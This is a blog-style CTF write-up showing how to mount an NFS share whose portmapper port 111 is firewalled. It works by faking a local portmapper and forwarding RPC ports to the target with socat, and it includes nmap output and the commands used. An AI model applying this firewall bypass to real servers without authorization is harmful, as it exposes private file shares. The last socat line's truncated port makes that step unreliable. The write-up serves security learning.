How to Bypass filtered portmapper port 111 (CTF)

CurlS
6 min readNov 6, 2019

--

In a CTF-style challenge I was confronted with a challenge to mount a NFS share on a linux system and accsses a specific file stored on that share. The challenge was that the default port 111 was on filtered status, blocked by a firewall.

For solving the challenge I followed mostly the steps which have been described by David Routin in his PoC “Bypass RPC portmapper filtering”.

NFS

Network File System (NFS) allows a user on a client computer to access files on a remote computer, like accessing a local storage. It uses Remote Procedure Calls (RPC) to route requests between client and server.

Portmapper

The RPC Portmapper (also called portmap or rpcbind) is a service which makes sure that the client ends up at the right port, which means that it maps the client RPC requests to the correct services. It keeps track of what services are running on which ports. E.g. a client contacts portmap on the server machine to determine the port number where the RPC requests should be send to. The Portmapper listens on a static port 111, on which an inital connection is made.

Security concerns

When setting it up inocorrectly , unwanted people might access the drive and it could be abused for DDoS attacks. If accessible the command rpcinfo -p <IP of Remote Server> would be successful.

Thus it is important to disable this service if not needed or make it unreachable for external access (e.g. filtering of the tcp/udp RPC services) or otherwhise to limit access to trustful clients.

Rpcinfo

This tool can be used to find all the RPC-based services registered on a specified host with port numbers, an RPC program number, a version number, and an IP protocol type (TCP or UDP). I will use this command below in the Hands on section.

Hands on

Running nmap with the option -script=nfs* gives a first overview :

nmap -sV -script=nfs* <IP Remote Server>Not shown: 987 closed ports
PORT STATE SERVICE VERSION
...
111/tcp filtered rpcbind
2049/tcp open nfs 2-4 (RPC #100003)
32768/tcp open status 1 (RPC #100024)
32769/tcp open nlockmgr 1-4 (RPC #100021)
32770/tcp open mountd 1-3 (RPC #100005)

| nfs-showmount:
|_ /home/geheim *
Host script results:
| nfs-ls: Volume /home/geheim
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| drwxr-sr-x 0 50 4096 2011-03-25T10:52:53 .
| drwxrwsr-x 0 50 4096 2018-12-03T07:02:23 ..
| -rw-r--r-- 0 50 26 2011-03-25T10:52:53 geheim-5022.txt

The remote portmapper/rpcbind at port 111 is filtered, but other RPC services are open (nfs, status, nlockmgr,mountd).

Trying to execute the showmount command with remote IP address will result in failure, as the client machine is not able to read the RPC information as Portmapper gives no answer. Also the rpcinfo -p <Target IP> can be helfpul for determining if the portmapper services are available from outside. If one of the the responses contain information, it most proabably means that the portmapper service is open. Otherwhise an connection timed out error message would have been sent back.

#showmount -e <IP Remote NFS Share> 
<IP>: RPC: Remote system error - Connection timed out

The solution or to bypass the problem with the filtered 111 port, is to create a local portmap dump and then to proxy the client requests to the target machine. With this procedure it would be possible to connect to the services offered by filtered Portmapper, as the RPC services on ports 2049,32768,32769,32770,32771 have the open status.

Luckily in the challenge we were given the RPC output of the remote server, which we will take as source for the local portmap dump. Otherwise this file can be created manually, extracting the information from the nmap output.

program    vers   proto  port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 32768 status
100024 1 tcp 32768 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 udp 32770 nlockmgr
100021 3 udp 32770 nlockmgr
100021 4 udp 32770 nlockmgr
100021 1 tcp 32769 nlockmgr
100021 3 tcp 32769 nlockmgr
100021 4 tcp 32769 nlockmgr
100005 1 udp 32771 mountd
100005 1 tcp 32770 mountd
100005 2 udp 32771 mountd
100005 2 tcp 32770 mountd
100005 3 udp 32771 mountd
100005 3 tcp 32770 mountd

The dump shows, that NFS is running with various versions and that it can be reached at TCP/UDP port 2049, depending on the transport protocol the client wants to use. The mount protocol is running and can be reached on TCP port 32770 and UDP port 32771.

The next step is to get the above data into the local copy of the portmapper file, which can be done by executing the command

pmap_set < rpcinfo.out

In earlier versions it was possible to use portmap and pmap_set to set the list of registered RPC programs on the local host. I have not found an equivalent function of pmap_set on newer systems, thus one way to solve the challenge is to download binaries from external sources.

In order to make sure that everything worked, and that we have the same result as from the above portmap dump file, we can use rpcinfo -p localhost or pmap_dump.

# rpcinfo -p localhost
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 32768 status
100024 1 tcp 32768 status
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 udp 32770 nlockmgr
100021 3 udp 32770 nlockmgr
100021 4 udp 32770 nlockmgr
100021 1 tcp 32769 nlockmgr
100021 3 tcp 32769 nlockmgr
100021 4 tcp 32769 nlockmgr
100005 1 udp 32771 mountd
100005 1 tcp 32770 mountd
100005 2 udp 32771 mountd
100005 2 tcp 32770 mountd
100005 3 udp 32771 mountd
100005 3 tcp 32770 mountd

Next step: Forwarding local RPC ports to remote target.

I decided to use Socat for that purpose. I got an idea from this source, so I crafted the following command and run it. The RPC traffic (except portmapper) will be forwarded to the remote server, meaning that the services requested on the local machine will use the local portmapper but be redirected to the target server.

socat TCP-LISTEN:2049,fork TCP:<IP Remote Server>:2049|
socat UDP-LISTEN:2049,fork UDP:<IP Remote Server>:2049|
socat TCP-LISTEN:32770,fork TCP:<IP Remote Server>:32770|
socat UDP-LISTEN:32771,fork UDP:<IP Remote Server>:32771|
socat TCP-LISTEN:32769,fork TCP:<IP Remote Server>:32769|
socat TCP-LISTEN:32768,fork TCP:<IP Remote Server>:32768|
socat UDP-LISTEN:32768,fork UDP:<IP Remote Server>:3276

Mount

The final step is to execute the mount command. In order to have an overview of the exported share on the target server, the command showmount -e localhost can be used. This is not the one from 127.0.0.1, but the target servers export list!

# showmount -e localhost
Export list for localhost:
/home/geheim *
#mkdir mnt1
#mount -t nfs localhost:/home/geheim /mnt1
#cd mnt1
#ls
geheim-5022.txt
# cat geheim-5022.txt
Congrats! You've done it!

Summary:

From the analysis it was shown that the remote portmapper, port 111 was filtered. Trying to communicate with that service, led to timeout issues. Also from the nmap enumeration it was clear, that the ports of the RPC services were open. Given this baseline, it was possible to create a local portmapper and to forward the RPC related traffic to the remote server using the local portmapper which was manipulated in order to make this bypass possible.

I am not a specialist in this field, but tried to summarize the steps needed to be done in order to solve the challenge.

Any feedback is welcome!

--

--

CurlS

Working in Infosec. Interested in many things, from technical perspective -> security, ctfs, coding, reverse engineering,… and in general -> love life. She.